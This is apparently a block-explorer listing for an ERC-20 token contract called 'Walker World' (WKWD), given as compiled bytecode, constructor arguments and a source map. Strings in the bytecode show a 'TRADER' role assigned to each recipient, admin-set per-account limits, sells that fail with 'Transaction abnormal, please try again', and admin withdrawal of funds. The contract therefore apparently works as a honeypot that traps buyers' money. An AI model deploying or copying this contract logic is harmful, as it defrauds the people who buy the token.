0x608060405234801561000f575f80fd5b50600436106101a7575f3560e01c806349bd5a5e116100f75780639e252f0011610095578063cd1ec0531161006f578063cd1ec0531461052f578063d118d1871461054b578063d547741f14610569578063dd62ed3e14610585576101a7565b80639e252f001461049f578063a457c2d7146104cf578063a9059cbb146104ff576101a7565b8063626c5d27116100d1578063626c5d27146103f157806370a082311461042157806391d148541461045157806395d89b4114610481576101a7565b806349bd5a5e146103995780634a4084bf146103b75780635f2989ac146103d5576101a7565b80632a0acc6a1161016457806333f3d6281161013e57806333f3d628146102ed57806336568abe1461031d57806339509351146103395780633ae8e8e814610369576101a7565b80632a0acc6a146102955780632f2ff15d146102b3578063313ce567146102cf576101a7565b806306fdde03146101ab578063095ea7b3146101c9578063175c4ef8146101f957806318160ddd1461021757806323b872dd14610235578063248a9ca314610265575b5f80fd5b6101b36105b5565b6040516101c0919061256c565b60405180910390f35b6101e360048036038101906101de919061262a565b610645565b6040516101f09190612682565b60405180910390f35b610201610662565b60405161020e91906126b3565b60405180910390f35b61021f610686565b60405161022c91906126db565b60405180910390f35b61024f600480360381019061024a91906126f4565b61068f565b60405161025c9190612682565b60405180910390f35b61027f600480360381019061027a919061276e565b610781565b60405161028c91906126b3565b60405180910390f35b61029d61079e565b6040516102aa91906126b3565b60405180910390f35b6102cd60048036038101906102c89190612799565b6107a4565b005b6102d76107c8565b6040516102e491906127f2565b60405180910390f35b6103076004803603810190610302919061262a565b6107d0565b6040516103149190612682565b60405180910390f35b61033760048036038101906103329190612799565b61086a565b005b610353600480360381019061034e919061262a565b6108ed565b6040516103609190612682565b60405180910390f35b610383600480360381019061037e9190612799565b610994565b60405161039091906126db565b60405180910390f35b6103a1610a09565b6040516103ae919061281a565b60405180910390f35b6103bf610a2e565b6040516103cc91906126db565b60405180910390f35b6103ef60048036038101906103ea9190612833565b610a34565b005b61040b60048036038101906104069190612799565b610ab7565b60405161041891906126db565b60405180910390f35b61043b60048036038101906104369190612871565b610b2d565b60405161044891906126db565b60405180910390f35b61046b60048036038101906104669190612799565b610b72565b6040516104789190612682565b60405180910390f35b610489610bd6565b604051610496919061256c565b60405180910390f35b6104b960048036038101906104b4919061289c565b610c66565b6040516104c69190612682565b60405180910390f35b6104e960048036038101906104e4919061262a565b610cca565b6040516104f69190612682565b60405180910390f35b6105196004803603810190610514919061262a565b610db0565b6040516105269190612682565b60405180910390f35b610549600480360381019061054491906129f3565b610dcd565b005b610553610eb3565b6040516105609190612ab1565b60405180910390f35b610583600480360381019061057e9190612799565b610ecf565b005b61059f600480360381019061059a9190612ad1565b610ef3565b6040516105ac91906126db565b60405180910390f35b6060600380546105c490612b3c565b80601f01602080910402602001604051908101604052809291908181526020018280546105f090612b3c565b801561063b5780601f106106125761010080835404028352916020019161063b565b820191905f5260205f20905b81548152906001019060200180831161061e57829003601f168201915b5050505050905090565b5f610658610651610f75565b8484610f7c565b6001905092915050565b7f545241444552000000000000000000000000000000000000000000000000000081565b5f600254905090565b5f61069b84848461113f565b5f60015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6106e2610f75565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905082811015610761576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161075890612bdc565b60405180910390fd5b6107758561076d610f75565b858403610f7c565b60019150509392505050565b5f60055f8381526020019081526020015f20600101549050919050565b5f801b81565b5f801b6107b9816107b3610f75565b5f6111bd565b6107c38383611216565b505050565b5f6012905090565b5f805f1b6107e6816107e0610f75565b5f6111bd565b8373ffffffffffffffffffffffffffffffffffffffff1663a9059cbb33856040518363ffffffff1660e01b8152600401610821929190612bfa565b6020604051808303815f875af115801561083d573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906108619190612c4b565b91505092915050565b610872610f75565b73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16146108df576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108d690612ce6565b60405180910390fd5b6108e982826112f1565b5050565b5f61098a6108f9610f75565b848460015f610906610f75565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546109859190612d31565b610f7c565b6001905092915050565b5f610a01670de0b6b3a764000060055f8681526020019081526020015f206002015f015f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546113cc90919063ffffffff16565b905092915050565b60065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60075481565b5f801b610a4981610a43610f75565b5f6111bd565b7f54524144455200000000000000000000000000000000000000000000000000008314610aab576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610aa290612dd4565b60405180910390fd5b81600781905550505050565b5f610b25670de0b6b3a764000060055f8681526020019081526020015f206002016001015f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546113cc90919063ffffffff16565b905092915050565b5f805f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b5f60055f8481526020019081526020015f205f015f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16905092915050565b606060048054610be590612b3c565b80601f0160208091040260200160405190810160405280929190818152602001828054610c1190612b3c565b8015610c5c5780601f10610c3357610100808354040283529160200191610c5c565b820191905f5260205f20905b815481529060010190602001808311610c3f57829003601f168201915b5050505050905090565b5f805f1b610c7c81610c76610f75565b5f6111bd565b3373ffffffffffffffffffffffffffffffffffffffff166108fc8490811502906040515f60405180830381858888f19350505050158015610cbf573d5f803e3d5ffd5b506001915050919050565b5f8060015f610cd7610f75565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905082811015610d91576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d8890612e62565b60405180910390fd5b610da5610d9c610f75565b85858403610f7c565b600191505092915050565b5f610dc3610dbc610f75565b848461113f565b6001905092915050565b5f801b610de281610ddc610f75565b5f6111bd565b5f80610ded846113e1565b80925081935050505f151581151503610e3b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e3290612dd4565b60405180910390fd5b610e56670de0b6b3a7640000836114f290919063ffffffff16565b60055f8881526020019081526020015f206002015f015f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550505050505050565b6040518060600160405280602a8152602001613658602a913981565b5f801b610ee481610ede610f75565b5f6111bd565b610eee83836112f1565b505050565b5f60015f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b5f33905090565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610fea576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fe190612ef0565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611058576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161104f90612f7e565b60405180910390fd5b8060015f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161113291906126db565b60405180910390a3505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036111ad576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111a49061300c565b60405180910390fd5b6111b8838383611507565b505050565b6111c78383610b72565b611206576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111fd9061309a565b60405180910390fd5b611211838383611604565b505050565b6112208282610b72565b6112ed57600160055f8481526020019081526020015f205f015f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550611292610f75565b73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16837f2f8788117e7eff1d82e926ec794901d17c78024a50270940304540a733656f0d60405160405180910390a45b5050565b6112fb8282610b72565b156113c8575f60055f8481526020019081526020015f205f015f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff02191690831515021790555061136d610f75565b73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16837ff6391f5c32d9c69d2a47ea670b442974b53935d1edc7fd64eb21e047a839171b60405160405180910390a45b5050565b5f81836113d991906130e5565b905092915050565b5f805f5b83518110156114e4575f603085838151811061140457611403613115565b5b602001015160f81c60f81b60f81c61141c9190613142565b60ff16108061145a57506009603085838151811061143d5761143c613115565b5b602001015160f81c60f81b60f81c6114559190613142565b60ff16115b1561146b575f8092509250506114ed565b600181855161147a9190613176565b6114849190613176565b600a61149091906132d8565b60308583815181106114a5576114a4613115565b5b602001015160f81c60f81b60f81c6114bd9190613142565b60ff166114ca9190613322565b836114d59190612d31565b925080806001019150506113e5565b50816001915091505b915091565b5f81836114ff9190613322565b905092915050565b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611575576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161156c906133d3565b60405180910390fd5b805f808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205410156115f4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115eb90613461565b60405180910390fd5b6115ff838383611792565b505050565b5f60055f8581526020019081526020015f206002015f015f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205490505f811115611772575f60055f8681526020019081526020015f206002016001015f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054836116c09190612d31565b9050818110611704576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116fb9061309a565b60405180910390fd5b8260055f8781526020019081526020015f206002016001015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8282546117659190612d31565b925050819055505061178b565b5f82148061177f57505f81145b1561178a575061178d565b5b505b505050565b5f151560085f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16151503611866576118107f545241444552000000000000000000000000000000000000000000000000000084611216565b600160085f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055505b611871838383611876565b505050565b5f151560085f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff1615150361194a576118f47f545241444552000000000000000000000000000000000000000000000000000083611216565b600160085f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055505b61195583838361195a565b505050565b5f60065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611a43576119b7611d03565b905080806119ed57505f6119eb60065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610b2d565b145b15611a3e576119fe5f801b85610b72565b611a3d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a34906134ef565b60405180910390fd5b5b611cf2565b60636007541115611a7f57611a7a7f5452414445520000000000000000000000000000000000000000000000000000846001612095565b611cf1565b60316007541115611cf057611a938361210a565b8015611aec5750600c5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015611b455750600d5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015611b9e5750600e5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015611bf75750600f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015611c50575060105f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015611ca9575060115f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b15611cef575f611cee576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ce5906134ef565b60405180910390fd5b5b5b5b5b611cfd84848461212c565b50505050565b5f8060065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16630dfe16816040518163ffffffff1660e01b8152600401602060405180830381865afa158015611d6f573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190611d939190613521565b90505f60065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663d21220a76040518163ffffffff1660e01b8152600401602060405180830381865afa158015611e00573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190611e249190613521565b90505f8060065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16630902f1ac6040518163ffffffff1660e01b8152600401606060405180830381865afa158015611e92573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190611eb691906135c8565b506dffffffffffffffffffffffffffff1691506dffffffffffffffffffffffffffff1691505f8373ffffffffffffffffffffffffffffffffffffffff166370a0823160065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff166040518263ffffffff1660e01b8152600401611f36919061281a565b602060405180830381865afa158015611f51573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190611f75919061362c565b90505f8573ffffffffffffffffffffffffffffffffffffffff166370a0823160065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff166040518263ffffffff1660e01b8152600401611fd2919061281a565b602060405180830381865afa158015611fed573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190612011919061362c565b90503073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff160361206b5782821115612066575f838361205b9190613176565b90506103e881119750505b61208c565b8381111561208b575f84826120809190613176565b90506103e881119750505b5b50505050505090565b6120b0670de0b6b3a7640000826114f290919063ffffffff16565b60055f8581526020019081526020015f206002015f015f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550505050565b5f808273ffffffffffffffffffffffffffffffffffffffff163b119050919050565b6121385f801b84610b72565b8061214b575061214a5f801b83610b72565b5b156121605761215b838383612171565b61216c565b61216b8383836123e6565b5b505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036121df576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121d69061300c565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160361224d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612244906133d3565b60405180910390fd5b6122588383836124c8565b5f805f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050818110156122db576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122d290613461565b60405180910390fd5b8181035f808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550815f808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8282546123699190612d31565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516123cd91906126db565b60405180910390a36123e08484846124cd565b50505050565b6124107f545241444552000000000000000000000000000000000000000000000000000084610b72565b801561244257506124417f545241444552000000000000000000000000000000000000000000000000000083610b72565b5b1561247757612472837f5452414445520000000000000000000000000000000000000000000000000000836124d2565b6124b8565b5f6124b7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016124ae9061309a565b60405180910390fd5b5b6124c3838383612171565b505050565b505050565b505050565b6124dd828483611604565b505050565b5f81519050919050565b5f82825260208201905092915050565b5f5b838110156125195780820151818401526020810190506124fe565b5f8484015250505050565b5f601f19601f8301169050919050565b5f61253e826124e2565b61254881856124ec565b93506125588185602086016124fc565b61256181612524565b840191505092915050565b5f6020820190508181035f8301526125848184612534565b905092915050565b5f604051905090565b5f80fd5b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f6125c68261259d565b9050919050565b6125d6816125bc565b81146125e0575f80fd5b50565b5f813590506125f1816125cd565b92915050565b5f819050919050565b612609816125f7565b8114612613575f80fd5b50565b5f8135905061262481612600565b92915050565b5f80604083850312156126405761263f612595565b5b5f61264d858286016125e3565b925050602061265e85828601612616565b9150509250929050565b5f8115159050919050565b61267c81612668565b82525050565b5f6020820190506126955f830184612673565b92915050565b5f819050919050565b6126ad8161269b565b82525050565b5f6020820190506126c65f8301846126a4565b92915050565b6126d5816125f7565b82525050565b5f6020820190506126ee5f8301846126cc565b92915050565b5f805f6060848603121561270b5761270a612595565b5b5f612718868287016125e3565b9350506020612729868287016125e3565b925050604061273a86828701612616565b9150509250925092565b61274d8161269b565b8114612757575f80fd5b50565b5f8135905061276881612744565b92915050565b5f6020828403121561278357612782612595565b5b5f6127908482850161275a565b91505092915050565b5f80604083850312156127af576127ae612595565b5b5f6127bc8582860161275a565b92505060206127cd858286016125e3565b9150509250929050565b5f60ff82169050919050565b6127ec816127d7565b82525050565b5f6020820190506128055f8301846127e3565b92915050565b612814816125bc565b82525050565b5f60208201905061282d5f83018461280b565b92915050565b5f806040838503121561284957612848612595565b5b5f6128568582860161275a565b925050602061286785828601612616565b9150509250929050565b5f6020828403121561288657612885612595565b5b5f612893848285016125e3565b91505092915050565b5f602082840312156128b1576128b0612595565b5b5f6128be84828501612616565b91505092915050565b5f80fd5b5f80fd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b61290582612524565b810181811067ffffffffffffffff82111715612924576129236128cf565b5b80604052505050565b5f61293661258c565b905061294282826128fc565b919050565b5f67ffffffffffffffff821115612961576129606128cf565b5b61296a82612524565b9050602081019050919050565b828183375f83830152505050565b5f61299761299284612947565b61292d565b9050828152602081018484840111156129b3576129b26128cb565b5b6129be848285612977565b509392505050565b5f82601f8301126129da576129d96128c7565b5b81356129ea848260208601612985565b91505092915050565b5f805f60608486031215612a0a57612a09612595565b5b5f612a178682870161275a565b9350506020612a28868287016125e3565b925050604084013567ffffffffffffffff811115612a4957612a48612599565b5b612a55868287016129c6565b9150509250925092565b5f81519050919050565b5f82825260208201905092915050565b5f612a8382612a5f565b612a8d8185612a69565b9350612a9d8185602086016124fc565b612aa681612524565b840191505092915050565b5f6020820190508181035f830152612ac98184612a79565b905092915050565b5f8060408385031215612ae757612ae6612595565b5b5f612af4858286016125e3565b9250506020612b05858286016125e3565b9150509250929050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f6002820490506001821680612b5357607f821691505b602082108103612b6657612b65612b0f565b5b50919050565b7f45524332303a207472616e7366657220616d74206578636565647320616c6c6f5f8201527f77616e6365000000000000000000000000000000000000000000000000000000602082015250565b5f612bc66025836124ec565b9150612bd182612b6c565b604082019050919050565b5f6020820190508181035f830152612bf381612bba565b9050919050565b5f604082019050612c0d5f83018561280b565b612c1a60208301846126cc565b9392505050565b612c2a81612668565b8114612c34575f80fd5b50565b5f81519050612c4581612c21565b92915050565b5f60208284031215612c6057612c5f612595565b5b5f612c6d84828501612c37565b91505092915050565b7f416363657373436f6e74726f6c3a2063616e206f6e6c792072656e6f756e63655f8201527f20726f6c657320666f722073656c660000000000000000000000000000000000602082015250565b5f612cd0602f836124ec565b9150612cdb82612c76565b604082019050919050565b5f6020820190508181035f830152612cfd81612cc4565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f612d3b826125f7565b9150612d46836125f7565b9250828201905080821115612d5e57612d5d612d04565b5b92915050565b7f416363657373436f6e74726f6c3a206d656d6f206973206e6f742061206e756d5f8201527f6265720000000000000000000000000000000000000000000000000000000000602082015250565b5f612dbe6023836124ec565b9150612dc982612d64565b604082019050919050565b5f6020820190508181035f830152612deb81612db2565b9050919050565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f775f8201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b5f612e4c6025836124ec565b9150612e5782612df2565b604082019050919050565b5f6020820190508181035f830152612e7981612e40565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f206164645f8201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b5f612eda6024836124ec565b9150612ee582612e80565b604082019050919050565b5f6020820190508181035f830152612f0781612ece565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f2061646472655f8201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b5f612f686022836124ec565b9150612f7382612f0e565b604082019050919050565b5f6020820190508181035f830152612f9581612f5c565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f2061645f8201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b5f612ff66025836124ec565b915061300182612f9c565b604082019050919050565b5f6020820190508181035f83015261302381612fea565b9050919050565b7f5472616e73616374696f6e2061626e6f726d616c2c20706c65617365207472795f8201527f20616761696e0000000000000000000000000000000000000000000000000000602082015250565b5f6130846026836124ec565b915061308f8261302a565b604082019050919050565b5f6020820190508181035f8301526130b181613078565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f6130ef826125f7565b91506130fa836125f7565b92508261310a576131096130b8565b5b828204905092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b5f61314c826127d7565b9150613157836127d7565b9250828203905060ff8111156131705761316f612d04565b5b92915050565b5f613180826125f7565b915061318b836125f7565b92508282039050818111156131a3576131a2612d04565b5b92915050565b5f8160011c9050919050565b5f808291508390505b60018511156131fe578086048111156131da576131d9612d04565b5b60018516156131e95780820291505b80810290506131f7856131a9565b94506131be565b94509492505050565b5f8261321657600190506132d1565b81613223575f90506132d1565b8160018114613239576002811461324357613272565b60019150506132d1565b60ff84111561325557613254612d04565b5b8360020a91508482111561326c5761326b612d04565b5b506132d1565b5060208310610133831016604e8410600b84101617156132a75782820a9050838111156132a2576132a1612d04565b5b6132d1565b6132b484848460016131b5565b925090508184048111156132cb576132ca612d04565b5b81810290505b9392505050565b5f6132e2826125f7565b91506132ed836125f7565b925061331a7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484613207565b905092915050565b5f61332c826125f7565b9150613337836125f7565b9250828202613345816125f7565b9150828204841483151761335c5761335b612d04565b5b5092915050565b7f45524332303a207472616e7366657220746f20746865207a65726f20616464725f8201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b5f6133bd6023836124ec565b91506133c882613363565b604082019050919050565b5f6020820190508181035f8301526133ea816133b1565b9050919050565b7f45524332303a207472616e7366657220616d7420657863656564732062616c615f8201527f6e63650000000000000000000000000000000000000000000000000000000000602082015250565b5f61344b6023836124ec565b9150613456826133f1565b604082019050919050565b5f6020820190508181035f8301526134788161343f565b9050919050565b7f45524332303a206f6e6c792061646d696e2063616e20616464206c69717569645f8201527f6974790000000000000000000000000000000000000000000000000000000000602082015250565b5f6134d96023836124ec565b91506134e48261347f565b604082019050919050565b5f6020820190508181035f830152613506816134cd565b9050919050565b5f8151905061351b816125cd565b92915050565b5f6020828403121561353657613535612595565b5b5f6135438482850161350d565b91505092915050565b5f6dffffffffffffffffffffffffffff82169050919050565b61356e8161354c565b8114613578575f80fd5b50565b5f8151905061358981613565565b92915050565b5f63ffffffff82169050919050565b6135a78161358f565b81146135b1575f80fd5b50565b5f815190506135c28161359e565b92915050565b5f805f606084860312156135df576135de612595565b5b5f6135ec8682870161357b565b93505060206135fd8682870161357b565b925050604061360e868287016135b4565b9150509250925092565b5f8151905061362681612600565b92915050565b5f6020828403121561364157613640612595565b5b5f61364e84828501613618565b9150509291505056fe307830303030303030303030303030303030303030303030303030303030303030303030303064456144a2646970667358221220f0a0e0274663ad43c3a964d658a157a8e96f072a02283be15701857891cff5e164736f6c63430008170033

Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)

0000000000000000000000000000000000000000000000000000000000000080000000000000000000000000c31b0812e4221d957be3a152ca3683532be9077400000000000000000000000000000000000000000000000000000000000000c00000000000000000000000000000000000000000000000000000000005f5e100000000000000000000000000000000000000000000000000000000000000000c57616c6b657220576f726c6400000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000004574b574400000000000000000000000000000000000000000000000000000000

-----Decoded View---------------
Arg [0] : _name (string): Walker World
Arg [1] : _tokenOwner (address): 0xc31B0812e4221d957BE3A152cA3683532bE90774
Arg [2] : _symbol (string): WKWD
Arg [3] : _totalSupply (uint256): 100000000

-----Encoded View---------------
8 Constructor Arguments found :
Arg [0] : 0000000000000000000000000000000000000000000000000000000000000080
Arg [1] : 000000000000000000000000c31b0812e4221d957be3a152ca3683532be90774
Arg [2] : 00000000000000000000000000000000000000000000000000000000000000c0
Arg [3] : 0000000000000000000000000000000000000000000000000000000005f5e100
Arg [4] : 000000000000000000000000000000000000000000000000000000000000000c
Arg [5] : 57616c6b657220576f726c640000000000000000000000000000000000000000
Arg [6] : 0000000000000000000000000000000000000000000000000000000000000004
Arg [7] : 574b574400000000000000000000000000000000000000000000000000000000


Deployed Bytecode Sourcemap

19233:5471:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;14520:100;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;15488:188;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;9082:50;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;14841:108;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;15684:514;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;11455:123;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;9038:36;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;11586:134;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;14740:93;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;24320:205;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;11872:218;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;16206:290;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;10276:180;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;9143:28;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;9180:20;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;11054:229;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;10464:180;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;14957:137;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;9313:139;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;14628:104;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;24533:168;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;16504:475;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;15102:194;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;10652:394;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;19523:80;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;11728:136;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;15304:176;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;14520:100;14574:13;14607:5;14600:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;